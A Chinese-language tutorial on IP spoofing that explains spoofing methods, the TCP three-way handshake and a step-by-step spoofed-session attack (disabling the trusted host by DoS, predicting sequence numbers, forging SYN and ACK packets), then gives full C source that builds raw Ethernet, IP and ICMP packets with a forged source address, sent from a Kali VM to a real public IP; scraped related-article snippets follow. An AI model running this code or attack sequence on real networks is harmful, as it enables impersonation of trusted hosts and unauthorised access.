TCP/IP网络中的每一个数据包都包含源主机和目的主机的IP地址,攻击者都可以使用其他主机的IP地址,并假装自己来自该主机,以获得自己未被授权访问的信息。这种类型的攻击称为IP欺骗。

1.最基本的IP欺骗技术有三种:

(1)基本地址变化

IP欺骗包括把一台计算机伪装成别人机器的IP地址的这种情况,所以IP欺骗最基本的方法就是搞清楚一个网络的配置,然后改变自己的IP地址。

(2)源路由攻击

源路由可使信息包的发送者将此数据包要经过的路径写在数据包里,这就使一个入侵者可以假冒一个主机的名义通过一个特殊的路径来获得某些被保护数据。

(3)利用Unix机器上的信任关系

在UNIX系统中,不同主机的账户间可以建立起一种特殊的信任关系,用于方便机器之间的沟通。如果攻击者获得了可信任网络里的任何一台的机器,他就能登录信任该IP的任何机器上。r命令允许使用者登录远程机器而不必提供口令。如:

rlogin:remote login,远程登录;
rsh:remote shell,远程shell;
rcp:remote copy, 远程拷贝。

但是,这种欺骗方法只能在Unix环境下使用,而且比较陈旧。

2.正常的TCP/IP会话的过程

IP欺骗更高级的应用是在tcp/ip会话中

由于TCP是面向连接的协议,所以在双方正式传输数据之前,需要用“三次握手”来建立一个稳重的连接。

第一次握手:建立连接时,客户端发送syn包(seq=j)到服务器,并进入SYN_SEND状态,等待服务器确认;

第二次握手:服务器收到syn包,它会发送一个SYN以及一个ACK(应答)给客户,ACK的序列号是 J+1表示是给SYN J的应答,新发送的SYN K 序列号是K,此时服务器进入SYN_RECV状态;

第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=k+1),此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。

3.IP欺骗攻击步骤:

(1)首先使被信任主机的网络暂时瘫痪,以免对攻击造成干扰;由于攻击者将要代替真正的被信任主机,他必须确保真正的被信任主机不能收到任何有效的网络数据,否则将会被揭穿。可以使用Dos攻击。

(2)然后连接到目标机的某个端口来猜测ISN基值(初始序号)和增加规律;通过嗅探或者ARP欺骗,先发现目标机正在使用的序列号,再根据序列号机制,可以猜测出下一对SEQ/ACK序列号。

(3)接下来把源地址伪装成被信任主机,发送带有SYN标志的数据段请求连接;

(4)然后等待目标机发送SYN+ACK包给已经瘫痪的主机;但该主机无法收到这个包

(5)再次伪装成被信任主机向目标机发送ACK,此时发送的数据段为之前预测的目标机的SEQ+1;

(6)连接建立,发送命令请求。

4.简单修改IP地址过程

构造套接字,填写地址数据结构,填充构造发送报文,调用sendto发送。

由于要自己构造IP头,自己计算校验和,所以第一个参数为PF_PACKET。对应的地址也要用sockaddr_ll结构。

int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP) );

而不是使用

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_IP)

将该虚拟机发送的源IP变为主机IP,进行欺骗

虚拟机IP为(这里需要安装VMware虚拟机和kali系统,详情可参考这篇文章最新超详细虚拟机VMware安装注意不要下载2020版iso,会有安装bug)

将代码在虚拟机上编译并运行,具体步骤参考kali编译运行c程序

下图显示发送数据包成功

将目的IP地址选为115.239.21.112的IP地址。打开虚拟机上的wireshark进行抓包,运行程序发送echo请求报文,可以看出包已经发过去了。且源地址为主机IP

到这里就完成了简单的通过修改IP地址发送请求包,来欺骗目标主机

5.源代码

#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <linux/if.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <string.h>
#include <stdio.h>int main()
{//套接字int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP) );if (sockfd == -1){printf("error at socket().\n");return 0;}//地址struct sockaddr_ll addr_ll;memset(&addr_ll, 0, sizeof(addr_ll) );addr_ll.sll_family = PF_PACKET;int sock_set_ip;     struct sockaddr_in sin_set_ip;  struct ifreq ifr;memset(&ifr,0,sizeof(ifr));strcpy(ifr.ifr_name, "eth0");if (ioctl(sockfd, SIOCGIFINDEX, &ifr) == -1){printf("error ioctl SIOCGIFINDEX\n"); return 0;}addr_ll.sll_ifindex = ifr.ifr_ifindex; //接口索引if (ioctl(sockfd, SIOCGIFADDR, &ifr) == -1){printf("error ioctl SIOCGIFADDR\n"); return 0;}sin_set_ip.sin_family =PF_PACKET ;sin_set_ip.sin_addr.s_addr = inet_addr("192.168.1.102");memcpy( &ifr.ifr_addr, &sin_set_ip, sizeof(sin_set_ip)); char* ipSrc = inet_ntoa(((struct sockaddr_in*)(&(ifr.ifr_addr)))->sin_addr);printf("ip address : %s\n", ipSrc); //source ipif (ioctl(sockfd, SIOCGIFHWADDR, &ifr) == -1){printf("error ioctl SIOCGIFHWADDR\n"); return 0;}unsigned char macDst[ETH_ALEN] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};unsigned char macSrc[ETH_ALEN];memcpy(macSrc, ifr.ifr_hwaddr.sa_data, ETH_ALEN); //mac addressprintf("mac address");for (int i = 0; i < ETH_ALEN; i++)printf(":%02x", macSrc[i]);printf("\n");//填充以太网头部struct ethhdr ethheader;memcpy(ethheader.h_source, macSrc, ETH_ALEN);memcpy(ethheader.h_dest, macDst, ETH_ALEN);ethheader.h_proto = htons(ETHERTYPE_IP);//填充IP头部struct iphdr ipheader;ipheader.version = 0x4;ipheader.ihl = 0x5;ipheader.tos = 0x00;ipheader.tot_len = htons(60);  //20 + 8 + 32ipheader.id = 0x1000;ipheader.frag_off = 0x0000;ipheader.ttl = 128;ipheader.protocol = 0x01;ipheader.check = 0;ipheader.saddr = inet_addr(ipSrc);ipheader.daddr = inet_addr("115.239.211.112");unsigned int checkSum = 0;unsigned int num;unsigned char* p = (unsigned char*)&ipheader;int i;for (i = 0; i <= 18; i += 2){num = (p[i] << 8) + p[i + 1];checkSum += num;checkSum = (checkSum & 0xffff) + (checkSum >> 16);}checkSum = (~checkSum) & 0xffff;ipheader.check = htons((unsigned short)checkSum);//填充ICMP头部struct icmphdr icmpheader;icmpheader.type = ICMP_ECHO;icmpheader.code = 0;icmpheader.checksum = 0;icmpheader.un.echo.id = 0x1000;icmpheader.un.echo.sequence = 0x0001;checkSum = 0;p = (unsigned char*)&icmpheader;for (i = 0; i <= 6; i += 2){num = (p[i] << 8) + p[i + 1];checkSum += num;checkSum = (checkSum & 0xffff) + (checkSum >> 16);}//echo dataunsigned char echo[32];for (i = 0; i < 32; i++)echo[i] = (unsigned char)(0x10 + i);for (i = 0; i <= 30; i += 2){num = (echo[i] << 8) + echo[i + 1];checkSum += num;checkSum = (checkSum & 0xffff) + (checkSum >> 16);}checkSum = (~checkSum) & 0xffff;icmpheader.checksum = htons((unsigned short)checkSum);//发送unsigned char sendBuf[sizeof(ethheader) + 60];memcpy(sendBuf, &ethheader, sizeof(ethheader) );memcpy(sendBuf + sizeof(ethheader), &ipheader, sizeof(ipheader) );memcpy(sendBuf + sizeof(ethheader) + sizeof(ipheader), &icmpheader, 8);memcpy(sendBuf + sizeof(ethheader) + sizeof(ipheader) + 8, echo, 32);int len = sendto(sockfd, sendBuf, sizeof(sendBuf), 0, (struct sockaddr*)&addr_ll, sizeof(addr_ll));if (len > 0){printf("send success.\n");}return 0;
}

IP欺骗攻击原理及如何修改IP相关推荐

  1. ARP欺骗攻击原理及其防御

    一.概述 1.ARP协议 地址解析协议,将IP地址转换为对应的mac地址,属链路层协议 数据包分为: 请求包(广播):本机IP地址.mac地址+目标主机IP地址 应答包(单播):本机IP地址.mac地 ...

  2. 美国高防服务器:恒讯科技为您解答TCP/IP的攻击原理

    TCP/IP协议是互联网最基本的协议,不依赖于任何指定的计算机设备或操作系统,是一种开放的协议标准.就算不考虑互联网,TCP/IP也是互联网使用的标准协议集,是互联网中恶意攻击者的重点关注对象.针对网 ...

  3. 无盘服务器怎么修改ip,怎么进入无盘服务器修改IP地址呢

    怎么进入无盘服务器修改IP地址呢 内容精选 换一换 在弹性云服务器上安装完成后输入公网IP,无法连接目的虚拟机,端口无法访问工具.源端网络未连通目的端.目的端安全组未开放8084端口.目的端网络ACL ...

  4. 域服务器可以修改ip,Windows Server 2016 域控制器修改IP

    随着时间的推移,企业也在发展壮大,最初IT规划的架构可能无法满足现有的需求.我们就需要重新规划升级架构,域控制器作为企业IT架构的核心也是无法避免要升级架构.那么我们是重做呢还是更改下呢?我觉得能省事 ...

  5. linux修改ip配置文件路径,Centos7系统如何修改IP地址

    Centos7系统如何修改IP地址 很多人用习惯了windows系统,在使用Centos7系统中想要更换ip地址时候不知道怎么操作,下面百分网小编带大家一起来看看详细内容,希望对大家有所帮助!想了解更 ...

  6. linux设置ip批处理文件,一篇详细的修改ip的方法

    大家都知道,如果是笔记本换一个环境上网就得改ip,gateway,dns,network等信息.今天就按两种不同环境实现之. 从前有一个人他叫王二,王二的工作有两个地点甲地,乙地,他用的办公工具是笔记 ...

  7. 用pe修改计算机ip地址,实现WinPE上网功能修改IP及DNS方法

    要实现WinPE上网功能,除了给PE添加网卡驱动外,我们还需要设置WinPE的IP和DNS配置脚本,如何才能实现这一功能呢?下面小编就来教大家设置的方法. 代码如下: echo 正在设置IP即DNS的 ...

  8. arm linux ip配置文件,手动修改ARM Linux的静态IP和用QT获取和修改IP

    http://blog.csdn.net/a15868717540/article/details/7165287 这是第一种方式 //读取部分 QSettings *ConfigIni = new ...

  9. linux下修改ip用哪个文件,linux下修改IP地址

    查看IP ifconfig [root@localhost ~]# ifconfig eth0: flags=4163 mtu 1500 ether 52:54:00:8a:fe:e6 txqueue ...

  10. IP-Spoofing(IP欺骗)

    这是一篇简介IP-Spoofing(IP欺骗)原理的文章.想当年著名Hacker,Kevin与 安全专家 下村勤之间的较量就是以IP-Spoofing开始的.这篇文章需要你具有一定的unix基础和tc ...

最新文章

  1. 队列——PowerShell版
  2. COMMAND 模式
  3. UDP客户端向服务器发送文件,基于UDP协议的客户端与服务器端的文件传送
  4. axios vue 动态date_Web前端Vue系列之-Vue.js 实战
  5. CLR via C# 之管中窥豹(一)
  6. [leetcode] Power of Two 判断一个数是否是2的平方
  7. spring 官方文档
  8. Windows核心编程_实现QQ好友来消息时任务栏头像闪烁功能
  9. 图解机器学习基本概念及分类
  10. 接入华为webpush webpush总结
  11. Redhat7安装HDS存储多路径软件
  12. 试图运行项目时出错:未能加载文件或程序集 或它的某一个依赖项。该模块应包含一个程序集清单 .
  13. 【游戏】2048及各种变种大集合汇总【更新ing~新版Floppy2048 - 恒星聚变版 - 恶搞改数据】...
  14. 非科班转行的2018秋招算法工程师面经:面试实录+人生经验
  15. STM32F1 HAL库读写SD卡的操作要点
  16. vue3 pinia 状态管理(清晰明了)
  17. 胜为蓝牙适配器驱动_胜为UDC-324A/B/C/D/E蓝牙适配器驱动
  18. 基于matlab的现代通信原理应用
  19. 智慧社区系统、智能社区、智能照明、楼控系统、web端管理系统+智慧楼宇管理系统、可视化大屏园区数据
  20. 16-EMM Procedure 6. Handover without TAU - Part 1. Overview of LTE Handover

热门文章

  1. 一文搞懂大比例尺地形图测绘
  2. 服务器运维辐射,【服务器辐射】服务器辐射大吗_服务器防辐射_服务器辐射距离_佰佰安全网...
  3. 站在巨人的肩膀上—英语
  4. 各种API以及事件初识——笔记
  5. 安装BiocManager显示Warning in install.packages : package ‘BiocManager’ is not available for this version
  6. Android源码目录简介
  7. 万国数据二季度调整后EBITDA利润率43.5% 高于指引预测
  8. 微博文摘——女人与ITIL
  9. 将心比心,你对别人好,别人才会对你好,是真的吗?
  10. 语音输入转文字怎么操作?分享几种语音转文字技巧